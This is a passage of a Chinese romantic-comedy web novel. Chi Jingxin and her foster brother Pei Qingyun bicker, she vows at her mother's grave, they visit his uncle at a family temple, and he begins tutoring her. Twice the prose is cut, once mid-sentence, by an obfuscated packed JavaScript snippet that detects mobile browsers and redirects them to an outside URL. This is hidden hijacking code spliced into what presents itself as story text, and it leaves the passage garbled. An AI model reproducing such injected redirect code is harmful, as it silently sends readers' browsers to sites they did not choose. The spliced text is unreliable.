第二天早上,池镜心在一楼客卧醒来,伸了个懒腰,只觉得神清气爽。她一向不认床,睡眠质量极好,裴家的床垫又是上百万的贵货,舒适度拉满,她这一晚睡得那叫一个香甜。 去客卧自带的卫生间洗漱完毕,她来到一楼餐厅。此时裴家的佣人们正在摆放早餐。透过落地窗,她看到裴清昀站在前院里,正在撸一只毛茸茸胖嘟嘟的浅金色大金毛。 池镜心眼睛一亮,立刻冲了过去,问:“它就是阿智吗?” 裴清昀淡淡地嗯了一声。 池镜心发现裴清昀两只手都戴着透明的一次性手套,有些不解:“你是在给阿智上药吗?” 裴清昀:“不是。” 池镜心:“那你为什么戴着一次性手套?” 裴清昀:“我有轻微的洁癖。” 池镜心:“……” 阿智被主人一下一下揉着大脑壳,舒服到眼睛都眯了起来,咧着嘴吐着舌头。它试图去舔一下裴清昀的手腕,裴清昀立刻捏住它的嘴筒子,发出严肃警告:“不许舔。” 阿智实在太想跟他亲近,又抬起爪子试图去搭他的腿,裴清昀再次严正警告:“不许碰我。” 阿智委屈巴巴地低下了头,缩成了可怜又无助的一大团。 池镜心看着这一人一狗的互动,一脸震惊:“我天,你洁癖还养什么狗啊?这狗跟着你真是遭罪!撸个狗还要戴手套,不让舔也不让碰的,你这分明是在虐待它!” 裴清昀冷淡地瞥了她一眼:“虐待?它一个月开销大几万,你的生活质量应该还不如它。” “情感虐待也是虐待!”池镜心冲阿智招了招手,“阿智,到姐姐这里来,姐姐陪你玩。” 裴清昀好心提醒她:“你确定你要当它姐姐?我可是它爹。” 池镜心顿了一秒,果断改口:“阿智,到阿嫲(奶奶)这里来。” 裴清昀:“……” 这世道,到底还是老实人吃亏。他不想占池镜心便宜,池镜心却毫不客气地占起了他的便宜。他莫名其妙又多了一个妈。 阿智乐颠颠地跑去了池镜心身边,池镜心兴奋地大力度揉它,搓它。阿智也很快跟着兴奋起来,激动得蹦来蹦去,汪汪叫唤。 裴清昀皱起了眉:“你不要这么激动地跟它玩。” “你懂什么呀!狗狗就是要这样玩的,你看它现在多开心!” 裴清昀欲言又止,最终他什么都不想说了,开始倒计时:“三,二,一。” 池镜心正想问他在倒计时什么,最后一个“一”字话音刚落,阿智身下就射出一股尿液,笔直地落到了池镜心的裤腿上。 “啊!!!!” 池镜心的尖叫声划破长空,险些惊飞整座渣甸山的鸟群。 裴清昀一脸冷漠,又带着淡淡的嘲讽:“都说了叫你不要这么激动地跟它玩,它会尿出来的。” 池镜心哀嚎着跑回客卧换裤子,阿智一脸无辜地坐在清晨的阳光里摇尾巴。 这对伪兄妹同住一个屋檐下的日子,就在一片鸡飞狗跳中正式开启了。 7. 发誓 池镜心回客房脱了脏裤子,反复用沐浴露搓洗自己的小腿,皮都快搓掉一层了,才换上干净的裤子走出房门。 裴清昀已经坐在餐厅里开始用餐了。他面前摆放的是全套英式早餐,血布丁、烤蘑菇、吐司、早餐茶等。 餐桌另一侧摆放着丰盛的早茶,金鱼饺、墨鱼丸、滑鸡粥、黑金流沙包、瑶柱灌汤饺、黄糖豆腐花……林林总总占据了大半张餐桌。 池镜心直接给干沉默了。昨晚温迪问她早上想吃什么,她随口说了句“随便吃点中式的就行”,没想到裴家的厨师直接给她整了一桌豪华早茶。 “愣着干什么?你不吃早饭的?”裴清昀见她傻站着,有些莫名其妙。 “吃,怎么不吃。” 池镜心拉开椅子坐下,端起滑鸡粥喝了一口,好吃到她差点流眼泪。她正要声情并茂地为裴家厨师朗诵一篇即兴赞美诗,裴清昀先开口了。 “你考过DSE没?”裴清昀问。 DSE相当于是港岛的高考。DSE考试成绩可用于申请港岛本地的22所高校,以及内地和海外的上百所高校。 “两年前考过一次。怎么了?”池镜心抬头看向他。 “把你的考试成绩发我看看。” 池镜心的网盘里还存着两年前的成绩截图。她当即把图片找了出来,发给了裴清昀。 昨晚他们已经交换过联系方式。裴清昀手机上收到提示,“邪恶比格”给他发了一张图片。 邪恶比格?他这才留意到池镜心的网名。别说,这名字起得……很有自知之明。 他点开图片一看,当即就□□沉默了,久久未能言语。 这个难评的成绩……他实在是不知道,该夸她是天才,还是该骂她是智障。 “你这个成绩……”裴清昀深吸了一口气,诚心诚意地发问,“你是怎么做到的?” “什么怎么做到的?”池镜心表情茫然。 成绩单上,池镜心的物理和化学都是满分七分,数学六分,中文五分,这几科都考得不错;英文差一些,只有三分,但也不算差得离谱;最离谱的是她的公民科,居然未达标!难怪她没有考上大学! 裴清昀感到匪夷所思:“我查了一下,你参加DSE考试的那一年,全港岛考生的公民科达标率,是93.7%。” “所以呢?”池镜心咀嚼着虾饺,眨了眨清澈的大眼睛。 “所以你个智障为什么没有达标!” 裴清昀看到她这副事不关己的样子就气不打一处来,啪的一声将手机拍在了大理石餐桌上。 “你知道的,我读书主要靠自学。公民科对我来说太枯燥了,我一学就想打瞌睡。我在网上搜了一下,网友都说公民科不用学,照抄材料都能达标,然后我就没有学过这门科目。 谁知道……我考试的时候照抄材料居然抄了个未达标。这不能怪我啊,都是网上那些人妖言惑众误导了我。” 裴清昀强忍着掐死她的冲动,继续问:“那去年你为什么不重考一次?” “这个嘛……”池镜心有些不好意思地挠了挠脑袋,“去年我是打算以自修生的身份报名重考的。结果我太忙了,不小心错过了报名时间。” 裴清昀疲惫地搓了一把脸,太阳穴又开始隐隐作痛了。他反复劝解自己,不要跟池镜心一般见识,她脑子跟正常人不一样。粗心大意,丢三落四,都是ADHD患者的老毛病,他要试着理解她。 “今年呢?今年重考了吗?” “没有,隔了这么长时间,我感觉知识点都忘光了,就不想考了。” 裴清昀沉默了片刻,决定还是表扬一下她的优点,搞点鼓励式教育,免得给孩子整自卑了。 “你物理和化学学得挺好。”他淡淡开口。 池镜心咧嘴一笑,立刻得意起来:“那是。物理和化学可得好好学,好多杀人手法都得用到物理和化学原理。” “……”裴清昀再度沉默了。 鼓励式教育?鼓励不了一点。这孽障都打算杀人了,他要不先杀了她为民除害算了。 他目光笔直地望向池镜心,冷静发问:“你想杀谁?” “杀你。”池镜心手里捧着黑金流沙包,笑嘻嘻地看着他,“我要先骗你跟我注册结婚,然后把你杀了,这样你的财产就都是我的了。” 裴清昀没搭理她的胡言乱语,继续问:“你的英文为什么这么烂?” “因为我不喜欢背单词。那些英语阅读材料又长又枯燥,还有好多我不认识的单词,我读着读着就烦了,就随便答了。还有聆听部分也是,我听着听着就走神了,最后只能乱答一通。” 池镜心做事全凭兴趣。她感兴趣的科目,比如物理和化学,可以帮助她设计推理小说中的核心诡计,她就会学得非常好;她不感兴趣的科目,如英文和公民科,怎么学都学不进去,只能摆烂。 “行吧。”裴清昀点点头。了解完池镜心的学业情况,他开始正式通知她: “从现在开始,我会给你找几个老师辅导你的功课,重点补习你的英文和公民科。我会全程监督你的补课进程。下一次DSE考试,你必须老老实实认认真真给我考完,明年无论如何你都得去读大学了。” 池镜心愣住了:“读大学?我什么时候说我要读大学了?” “我说的。”裴清昀一副理所应当的态度。 池镜心气笑了:“不是,你当霸道总裁有瘾是吧?我又不是你的员工,你凭什么命令我?” 裴清昀思索了片刻,没有跟她互怼,而是神色颇为认真地问:“你为什么不想读大学?” “我……”迎着裴清昀那诚恳的目光,池镜心犹豫一瞬,选择了实话实说,“你知道的,我小时候在学校里表现得特别差劲,很早就不去上学了。我怕我适应不了大学生活,中途辍学,那岂不白白浪费了那么多时间金钱精力。” “不用担心。”裴清昀难得和颜悦色,“你考上大学后,在学校里遇到任何困难,我都会尽力给你提供帮助和支持,确保你顺利毕业。” 池镜心歪着脑袋考虑了一会儿。其实本来她都不打算读大学了,她自制力不行,已经很久没温书了。眼下她的便宜哥哥主动提出要监督她考大学,要不然……就再考一次? “那……我可以试试再考一次。不过你别请补课老师,我根本听不了别人给我讲课,人家一开口我就走神,还没我自学效率高。” “可以。”裴清昀见她松了口,也爽快地做出了让步。 反正池镜心学得最差的科目就是英文和公民科,他英文是母语水平,完全可以亲自辅导她;至于公民科,他从小读国际学校,没学过这个科目,但听说内容非常简单,他亲自教她也不成问题。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15917527|177022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解决了这桩大事,裴清昀心情终于愉悦起来。他端起早餐茶喝了一口,用闲聊的语气问:“你有什么喜欢的学校和专业吗?” “还真有。我想读港岛大学的犯罪学专业。”池镜心笑嘻嘻地看着他。 裴清昀眉心一跳:“犯罪学?学这个干嘛?帮助你更好地犯罪吗?” 当然是为了帮助她更好地创作推理小说啦。池镜心不说实话,只一味任性:“要你管!我就要学这个,考不上这个专业我就不去读大学了!” 裴清昀:“……” 他想劝她换个更容易就业的热门专业,转念一想,还是算了。她这性格,读自己不感兴趣的专业只怕毕不了业。犯罪学就犯罪学吧,大不了毕业后在鼎钧集团给她安排一份工作。 “今天你有空吗?”裴清昀问。 “有空。怎么了?” 目前事务所的委托都由其他人在负责,池镜心暂时闲下来了。这份工作虽然薪水低,但胜在空闲时间多,让她有空创作推理小说。这也是她能在这个事务所工作两年之久的原因之一。 裴清昀回道:“待会儿我们去一趟浩园,去看望一下你母亲。” “前几天清明节我已经去过了。” “再去一次。” 吃完早饭,裴清昀带着池镜心出发去了浩园。 一路上天色阴沉,狂风阵阵,似乎是要下雨了。在这种天气去墓园,别有一番风味。 来到池若颐的墓前,裴清昀转过身看向池镜心,冷声道:“跪下。” 池镜心一愣,继而勃然大怒:“你变态啊?!” 裴清昀比她更愤怒:“我是让你给你母亲跪下!你脑子里都装了些什么东西!” 狂风呼啸而过,一时间场面有些尴尬。 池镜心低下头默默自我检讨了一秒。怪她,最近恰好看了点小众癖好的电影。 她麻溜的在池若颐的墓前跪了下来。跪自己的母亲,她没有任何心理障碍。 裴清昀继续命令她:“把右手举起来,竖起三根手指。” 池镜心将食指和大拇指圈起来,中指、无名指和小手指竖起来,她看向裴清昀,问:“是这样吗?” 裴清昀忍无可忍,再次冲她咆哮:“你比个OK做什么?!把中间三根手指竖起来!” 池镜心小声嘟囔:“是你自己指令给得不清不楚的。” 竖起中间三根手指,是发誓的意思。 裴清昀的太阳穴又开始疼了。怎么会有人比阿智还听不懂人话的?哦不对,差点忘了,她不是人,她是邪恶比格。 等池镜心将手指改了过来,裴清昀继续道:“现在,跟你母亲发个誓,说你以后一定遵纪守法,不做任何违背法律和道德的事,不跟任何不三不四的人来往,今后你一定认真读书,明年全力以赴考个好学校。如果违背了今日的誓言……” 裴清昀居高临下地瞥了她一眼,语气阴狠:“就让雷把你劈死。” 他话音刚落,阴沉的天空闪过一丝亮光,可怖的雷声炸响天际。 池镜心:“……” 这道雷来得……也太巧了吧。仿佛迫不及待要劈死她。 她自认不会违背法律,但会不会违背道德,那可就说不准了。 她天生缺德,远的不说,这几天她就没少把裴清昀耍得团团转。这样的毒誓,她还真不敢发。 8. 真相 见池镜心一直沉默着不开口,裴清昀问:“怎么?心虚了吗?” 池镜心抬头看向他,神色十分认真:“哥,这个誓不能发。” “怎么不能发?”裴清昀挑了挑眉。 “对我的名誉不好。你听我给你解释,誓言能否成真,其实就是一种玄学,根本没有科学依据。就算我不违背法律和道德,我也是有可能被雷劈死的。 但是我一旦发了这个誓,日后哪天我被雷劈死了,大家肯定会说是我干了什么见不得人的勾当,违背了誓言,所以才会被雷劈死。那我就太惨了啊!不仅命没了,死后还要被人泼脏水!” 裴清昀静静听完她的解释,冷笑了一声:“你倒是能言善辩,别去学犯罪学了,学法律当律师比较适合你。不过……”他话锋一转,“你今日发的誓,只有天知地知你知我知,有谁会给你泼脏水呢?” 池镜心往他身后一指:“你带来的这群保镖也都听着呢!他们在你眼里不算人吗?!你们这些冷血资本家什么时候能把打工人当人看?!” 裴清昀:“……” 不仅能言善辩,还会倒打一耙。 被池镜心指到的保镖阿锋连连摆手:“我什么都没听见!我就是个NPC,不用管我!” 其他几个保镖也跟着表态: “对对对,我也什么都没听见。” “我们什么都不知道。” …… 池镜心:“……” “行了,”裴清昀到底还是先做了让步,“不用发毒誓,你认认真真地向你母亲做个承诺就行。日后你要是脑子犯糊涂想走歪路,就好好想想今天你对你母亲承诺过的话。” 见他松了口,池镜心也不再缠磨,望着母亲的遗像乖乖承诺:“妈咪,我以后一定遵纪守法,不做任何违背法律和道德的事,不跟任何不三不四的人来往,今后我一定认真读书,明年全力以赴考个好学校。” 说完她抬头看向裴清昀:“行了吧?” 裴清昀没看她。他神色肃穆,也在池若颐的墓前跪了下来,望着池若颐的遗像认真道:“契妈你放心,今后我一定会好好监督阿心,让她好好学习,好好工作,平平稳稳地过完这一生。” 池镜心看着他这般严肃认真的样子,莫名有些触动。虽然她从小就不太喜欢这位便宜哥哥,但不得不承认,裴清昀对她母亲的感情真的很深很诚挚,说是亲儿子也不为过。 这也正是她讨厌裴清昀的原因。你一个契仔,老在我妈面前晃悠,比我这个亲生女儿还孝顺懂事贴心优秀,几个意思啊?是想抢走我妈吗?怎么你自己没妈吗?非要来抢别人的。 其实池若颐生前从来不拿裴清昀和池镜心做比较,就算自己的女儿是个小魔王她也不会少爱她一分。但耐不住小时候的池镜心占有欲巨强,不容许任何人跟她抢夺母亲的关注。 天空越发阴沉,暴雨在即。 池镜心和裴清昀都站了起来,离开了浩园。 刚上车,池镜心忽然想起昨晚秦铠澄提到的裴清昀的身世之谜,她心里升起一个念头。 她看向裴清昀:“这会儿时间还早,你带我去优昙寺玩会儿好不好?我一直很想去优昙寺,但那里是你家的家庙,平时不接待外人,只能麻烦你带我过去啦。” 裴清昀不解:“去那干嘛?你信佛?” “没有。我就是听说你舅父现在在优昙寺修行,我对他好感兴趣啊,好想见见他。” 裴清昀脸色顿时变了。 池镜心见他这反应,心里咯噔一下,心想难道外面的传言都是真的?他真的把他舅父囚禁在优昙寺里?我天这可是刑事案件啊!还有脸叫我不要违背法律,他自己倒是什么杀人放火的事都干了! 此刻裴清昀想的却是:之前就撞见阿心跟一个糟老头子共进晚餐,现在她又说对他舅父感兴趣,难道这杀千刀的孽障有什么特殊癖好? 裴清昀惊疑不定,问:“你跟我说实话,你是不是有恋老癖?” “啊?!”池镜心直接被他给问懵了。 这人的脑回路到底是怎么长的?也太性缘脑了吧…… “没……没有啊。”池镜心磕磕绊绊地解释,“我就是单纯的好奇,你舅父这种富家子弟,居然放弃千亿家产,跑去庙里修行,简直就是当代乔达摩·悉达多。这种传奇人物,我想认识一下不行啊?” 裴清昀冷冷一笑:“当代乔达摩·悉达多?你也太看得起他了。他就是个没什么本事的懦夫罢了。” 池镜心小心翼翼地试探:“干嘛这么说他?你对你舅父很不满?” “没有不满,只是实话实说罢了。当初我公公婆婆是打算让他继承家业的,谁成想他能力太差,把集团搞得亏损连连。 恰好那段时间他妻子也因病去世了,他承受不住连番的打击,索性撂挑子不干了,死活闹着要出家。一个中年人,遇到挫折只知道逃避,不是懦夫是什么?” 哈?所以真相其实是这么回事?池镜心接着试探:“所以你就趁机上位了?” “什么叫我趁机上位?当我很想给裴蕴仁收拾烂摊子么?” 裴清昀一想起当初的事就窝火,语气十分不爽,“当时我都打算定居国外不回来了,是我公公谎称自己病危,把我骗回来的。一回来他们就逼着我接手家业,把我的人生规划全给打乱了。” 池镜心很是诧异。居然是这样……跟TVB拍的豪门争产剧完全不一样嘛。 她安慰道:“这也是你公公婆婆对你能力的肯定嘛,不然他们怎么不逼你舅父的子女接班呢?” 裴清昀冷哼了一声:“我舅父的那一双儿女,更是卧龙凤雏。让他俩接班,只怕裴家垮得还要更快一些。” 池镜心沉默不语。虽然真相极有可能就是裴清昀说的这样,但她还是想去优昙寺实地考察一下。 “我们还是去一趟优昙寺吧。我想去拜拜佛,求佛祖保佑我明年考个好学校。” 裴清昀看了她一眼,缓缓道:“去拜一拜也好。你现在一天到晚跟中邪了似的,没个人样。也该去庙里驱驱邪了。” 司机立刻调转车头,迎着豆大的雨滴驶向优昙寺所在的方向。 到达优昙寺时,雨已经下得很大了。 狂风骤雨,荒山古寺。此情此景,仿佛穿越进了悬疑恐怖电影。 池镜心莫名感到兴奋,这样的场景太适合发生点凶杀案了,要不她下一篇推理小说就把场景设置为下雨天的荒山古寺吧。 车子停稳后,裴家的保镖迎了上来,给裴清昀和池镜心开车门、打伞。 裴蕴仁这几年都住在优昙寺里,因此优昙寺也配备了一些安保人员确保他的安全。裴清昀先前已经通知过裴蕴仁他的行程,这会儿他的车一到,寺里的安保人员立刻开门来迎接他,将他和池镜心带到了客堂。 裴家财力雄厚,将客堂修得挺大挺豪华,跟高端度假酒店的总统套房似的。 池镜心见到一个僧人打扮的中年男子坐在黄花梨圈椅上,心想这应该就是裴蕴仁了。这裴蕴仁已经有些老态了,但皮肤依然白白净净的,鼻梁高高的,一看就是没吃过苦的富家子弟。 裴蕴仁见到他俩来,问裴清昀:“下这么大雨怎么还往我这跑?这是你女朋友?” “这是我契妈的女儿池镜心,她最近跟鬼上身了似的,神经兮兮的,我带她来驱驱邪。” 裴蕴仁把这话当了真,还真认认真真打量了池镜心一番,有些纳罕:“这小姑娘目光澄澈,灵台清明,哪里像是鬼上身了?明明就是很有灵气的一个小姑娘嘛。” 池镜心听到有人夸自己有灵气,当即乐开了花。裴清昀却不咸不淡地回道:“舅父你修行功夫不到家啊,居然没看出来她是个妖孽。” 池镜心:“……” 居然敢说我是妖孽?那我就妖孽给你看!不玩死你我是不会收手的! 三人坐在客堂里喝茶,裴蕴仁和裴清昀聊了一会儿家常。 裴蕴仁:“阿融最近联系你没?” 裴清昀:“没有。” 裴蕴仁:“他还是在非洲?” 裴清昀:“应该是吧。” 池镜心一直竖着耳朵听两人的谈话。阿融应该就是裴蕴仁的儿子裴清融吧?他居然真的在非洲。一个富家少爷跑非洲去干嘛?外界都传言是裴清昀把他发配去了非洲,真是这么回事吗? 她佯装什么都不知道,一脸好奇地问:“阿融是谁?他在非洲做什么?” 裴清昀:“我舅父的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15917528|177022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿子,在非洲拍纪录片。” 裴蕴仁看向池镜心,神色颇有几分自豪:“我儿子拍的纪录片还拿过奖呢。” 池镜心恍然大悟,原来是在非洲拍纪录片啊。这就说得通了。 她想起以前看过一个采访,一对自费拍纪录片的夫妻说,他们靠拍纪录片成了千万富豪。记者大惊,问他俩怎么做到的。两口子说,他俩拍纪录片以前是亿万富豪。 这种烧钱又烧时间的爱好,只有富贵闲人玩得起了。 裴蕴仁忽然叹了口气:“阿融这个衰仔,从来不知道联系我,死外面算了。还是生女儿好,嘉嘉上周还来看望过我呢。” 裴清昀:“生个我妈那样的女儿,也够愁人的。” 裴蕴仁:“你妈那样的,十万个人里也找不出来一个。也不知道我们裴家造了什么孽,偏偏让我们赶上了。” 池镜心的好奇心被高高吊起。她这还是第一次听裴清昀提到自己的亲生母亲。虽然不知道这位大小姐为什么会被家人如此评价,但至少她确定了,裴清昀就是裴蕴仪亲生的,不是他公公或者舅父的私生子。 三人闲坐了一会儿,裴清昀带着池镜心去大雄宝殿拜佛上香。转眼时间便来到了中午。他俩在优昙寺吃了一顿斋饭,便一起离开了。 下午裴清昀要回公司处理工作,他想先送池镜心回渣甸山,池镜心却说把她放到商场附近就行,她要买点学习资料。 听到她说要买学习资料,俨然一副改邪归正好学生的样子,裴清昀颇感欣慰,还给她转了几千块钱用作资料费。 在车上,池镜心想起裴清昀那对神秘的父母,还是有些好奇,便假装不经意地问:“话说我们认识这么多年了,我还从来没听你提起过你父亲,你爸是做什么的啊?” “不知道。” “啊?” “我不知道我父亲是谁。” 池镜心愣了片刻,有些不爽:“这怎么可能不知道?你要不想说就算了。” “是真不知道。我妈年轻时一直在欧洲鬼混,搞乐队,开艺术展,还同时交往了很多男朋友。有一天她意外怀孕了,她都不确定孩子的父亲是谁。她本来不想生的,但那时候她迷信什么身心灵,能量疗愈。她的疗愈师跟她说,胎儿是纯净能量的化身,可以疗愈她的身心,她信以为真,就把我生下来了。 我出生后,她的好几个男友都自称是我生父。我妈觉得这些男的都只是图她钱,于是也没去查证到底哪个是真的,就把他们都撵走了。之后她就独自在欧洲抚养我。很快她就发现,养小孩的过程并不能疗愈她,反而给她添了很多麻烦,她就不是很想养了。我六岁那年,她把我扔到裴家,自己一个人回欧洲了。” 听完这段来龙去脉,池镜心目瞪口呆。这位裴家大小姐真是够任性妄为的,难怪裴家人对她有意见。 “那……那你也没有找过你的亲生父亲吗?你对他一点都不好奇吗?” 裴清昀感到莫名其妙:“找他干嘛?他没养过我一天,我还把他找回来给他养老送终?我脑子有病吗?” 池镜心没说话,她觉得他脑子确实挺有病的。他俩又不是亲兄妹,又好几年没联系了,他突然冒出来将她批评教育一番,还要监督她考大学,好像真是她亲生哥哥一样,这不是有病是什么? 裴清昀忽然叹了口气:“我妈年轻时玩得太乱了,又滥用药物,现在才五十多岁,每年的医疗支出都上千万了。你要是不及时改邪归正,下场只会比她更惨。” 池镜心:“……” 难怪絮絮叨叨地跟她讲了这么多,原来是想借他母亲的事迹来敲打她。 “对了,”裴清昀忽然想到什么,“我怎么感觉你今天对裴家的事格外感兴趣?” “啊?没有啊。” “你是不是在网上看了些乱七八糟的传言?” “……没有。”池镜心矢口否认。 裴清昀笑了笑:“网上那些博眼球的八卦,都是怎么离谱怎么编。只有智商低于七十的智障,和没有接受过教育的文盲会信,你应该不是其中一员吧?” 池镜心:“……” 就你聪明!就你有文化!那你不也被我耍得团团转吗!等我掉马那天,我看你还笑得出来不! 9. 补习 司机将车停到一家商场附近的路口。池镜心下了车,直奔商场而去。 裴清昀有些不放心,在她身后喊:“不许鬼混!晚上早点回家吃饭!” 池镜心只当没听到。她找到一家书店,先是慢悠悠地挑了一本新出版的推理小说,然后又去甜品店点了两份甜品,坐下来边吃边看小说。不知不觉一下午的时间就过去了。 到了下午五点,她终于离开了甜品店,去买了几本学习资料,拎着一大袋子书离开了商场。 来到商场外的路口,她本想打个车,却被不远处的争吵声吸引了注意力。她偏过头看去,发现有一个南亚裔男子在骂一个警察,而那个警察,正是那天晚上逮捕她的阿政。 南亚裔男子:“来来去去这么多人,凭什么只查我?还说你没有歧视南亚人?我跟你说我在这里生活了十几年,你们这里的法律我都懂的,回头我就去警察投诉科投诉你滥用警权!死差佬!” 阿政眉头微皱,只低着头在手机上输入该男子的护照资料,然后将护照还给了他。 跟南亚裔男子的激动截然不同,阿政的语气十分平静:“例行截查而已,多谢配合。” 南亚裔男子一把扯过护照,还不依不饶地用手机去拍阿政制服上的警号:“我要把你的警号拍下来,你个死差佬,等着被你的上司骂死吧!” 阿政看起来没怎么生气,估计是当警察以来遇到太多这种事了。但池镜心已经气得火冒三丈了。 因为她母亲是警察的缘故,她很讨厌别人骂“死差佬”、“死差婆”这样的字眼。更何况阿政那天还帮她拿了一杯丝袜奶茶,她岂能坐视他被人侮辱。 池镜心立马冲了过去,对着南亚裔男子火气全开一顿输出:“你个法盲怎么有脸说你懂港岛的法律的?!姐今天就来给你普普法!在港岛,警察随机抽样做stopandsearch是正常职务,根本不存在滥用警权一说! 无论是本地人还是外国人,被抽查了就得乖乖配合,不然警察就有权带你回警署调查。难道你觉得你是外国人就高人一等不用被查了?还诬陷人家阿sir歧视你,明明就是你自己想要特权而已!” 池镜心口齿清晰,声音又亮,路过的人们听到她的话,纷纷对南亚裔男子指指点点。 “你……”南亚裔男子被噎得说不出话来,又不堪被众人围观指责,只得闷着头走开了。 夕阳的光辉将少女生动的脸庞染上一层金色,阿政默默注视着,心跳急剧加速。 “谢谢你帮我说话。”他回过神来,不好意思地笑了笑。 池镜心不甚在意地摆摆手:“不用谢。上次你不是帮我拿了一杯奶茶,我帮你也是应该的。” “你还记得我啊。”阿政眼睛一亮,一脸的受宠若惊,“我叫李熙政,我们可以互换一下联系方式吗?回头有空了我请你吃个饭。” “好啊。”池镜心没多想就把联系方式给他了。 她还挺喜欢跟警察交朋友的。这几年她经常拜访母亲以前的同事,请这些叔叔阿姨们给她讲办案时的奇遇,用作写作素材。眼下这位小警察主动要充当她的新素材库,她自然没有拒绝的道理。 阿政还要继续步巡,跟池镜心交换完联系方式便离开了。 池镜心回到渣甸山,迫不及待地找秦铠澄聊天。恰好秦铠澄这会儿也有空,两人便开了视频。 “澄澄我跟你讲,我去见过裴清昀的舅父了,网上那些传言都是假的!” 池镜心把今天收集到的信息都跟澄澄分享了一遍,最后还不忘吐槽裴清昀:“你不知道他嘴有多毒,他说只有智障和文盲才会信网上的传言。他还阴阳怪气地问我,‘你应该不是其中一员吧?’你是没见到他那个样子,简直不要太欠揍。要不是他家保镖在,我早打他了。” 视频里的秦铠澄单手托着下巴,眨巴了一下眼睛:“我感觉你俩早晚得打起来。阿心,答应我,揍他的时候不要揍他的脸。他那张脸简直是女娲的炫技之作,毁了就太可惜了。” 池镜心:“也有可能是上帝的炫技之作,毕竟他是混血。” 秦铠澄:“上帝技术哪有女娲好。” 池镜心:“或者说是女娲与上帝的联名款?” 秦铠澄:“哈哈哈对对对,集众家之所长的珍稀联名款!” …… 两人就这么有一搭没一搭地聊着。没过多久,裴清昀下班回来了。他经过客厅时,看见池镜心窝在沙发里,捧着个手机在跟人视频聊天。茶几上放着一袋子书,应该就是她下午去买的学习资料。 裴清昀走过去,想翻看一下她都买了些什么资料,却猝不及防听到了池镜心和视频里的人的对话。 池镜心:“你又在拍这种露骨的视频。” 秦铠澄:“对啊,你要不要跟我一起拍啊?姐姐带你赚大钱。前几天我还接到一个广告了呢。” 裴清昀眉心一跳,三步两步冲过去,一把将池镜心手里的手机抢走。 池镜心大惊:“你干嘛?!” 裴清昀看向手机屏幕,屏幕里是一个跟池镜心年纪相仿的女孩,手里拿着一根尺寸很小的白色骨头,正一脸诧异地看着他。 秦铠澄:“啊,你就是裴清昀吧?妈呀好有冲击力的一张脸,你比狗仔偷拍到的那些照片还帅诶!” 裴清昀转头问池镜心:“这是你朋友?她是做什么的?” 池镜心一脸茫然:“这是我朋友秦铠澄。她是医学生,最近在搞副业,拍自己做手工的视频发到网上,还挺火的。” 秦铠澄兴奋地跟裴清昀介绍自己的副业:“我的视频技术含量很高的哦。我用糖捏小动物,会从骨骼开始开始捏,然后一步步添加肌肉、筋膜层、表皮等。裴先生,你名下的产业有需要的话可以找我打广告,我现在已经有一万粉丝啦!” 裴清昀看着秦铠澄书桌上那一排用糖捏出来的骨头,颅骨,肋骨,椎骨……应有尽有。他陷入了沉默。 露骨的视频……原来是字面意义上的露骨啊…… 吓老子一跳……又被这孽障给耍了…… 池镜心一脸疑惑地问:“所以你把我手机抢过去干嘛?” 裴清昀:“……” 他脸色一沉,答非所问:“你看看你朋友多优秀!医学院分那么高人家都能考进去,做个副业都积累上万粉丝了。你一天天少嬉皮笑脸的,多跟人家学学!” 莫名其妙挨了通教训,池镜心直接气笑了:“不是,你有病吧?我是不是给你好脸给多了?” “以后不用给我好脸,我巴不得你严肃一点。” 说完,裴清昀将手机扔回她怀里,转身上楼。 视频里的秦铠澄憋不住笑出了声:“怎么办宝宝,我突然觉得你俩还怪好磕的。” 池镜心大惊失色:“澄澄你也有病!” 到了晚餐时间,裴清昀才下楼。他先是走到茶几旁,翻了一下池镜心买回来的那些书,然后走到餐桌旁坐下准备吃晚饭。 池镜心一直在院子里跟阿智玩。裴清昀喊了一声:“阿心,过来吃饭了。” 池镜心跟阿智玩得正投入,只当做没听到。她根本不想吃饭,今天下午吃了太多甜品,这会儿完全没饿。 裴清昀叹了口气,打算亲自去院子里把池镜心揪过来吃饭。他没有那么多时间陪她周旋,吃完饭他要辅导她的功课,辅导完功课他还要处理工作。 他刚来到院子,就看到池镜心蹲下身子,举起右手去跟阿智玩击掌。 池镜心:“阿智,来,givemefour!” 裴清昀:“……” 他忍了忍,还是没忍住纠正她:“是givemefive!你个文盲!” 池镜心理直气壮地骂了回去:“这是我们年轻人的一个梗,你个老年人不懂就不要随便发言!” 她抓起阿智的一只前爪,展示给裴清昀看:“看见没?阿智只有四根脚趾,它只能givemefour!” 裴清昀走上前去,指着阿智脚掌边缘的狼趾,没有丝毫要认输的意思:“你好好看清楚,它是有第五根脚趾的!这根叫狼趾,你不懂就不要随便发言!” 池镜心也没有丝毫要认输的意思:“这根狼趾长的位置这么偏,击掌的时候根本碰不到它,只能碰到其它四根脚趾,所以就还是givemefour啊!” 裴清昀:“……” 他突然觉得这对话好弱智。他都二十好几的人了,怎么还会为这种无聊的事情争吵。 都怪阿心这个智障,把他的智力水平都拉低了。 他深吸了一口气,终于想起来自己干嘛来了,立刻言归正传:“别玩了,去洗个手,该吃晚饭了。” 池镜心洋洋得意地抬高了下巴:“怎么?吵输了就转移话题?” “随便你怎么想,洗手,吃饭。” “我没饿。” “没饿也吃点。吃完我给你补习英语。” “今晚就开始补习啊?!” “那不然呢?做一件事最好的时机就是现在。” 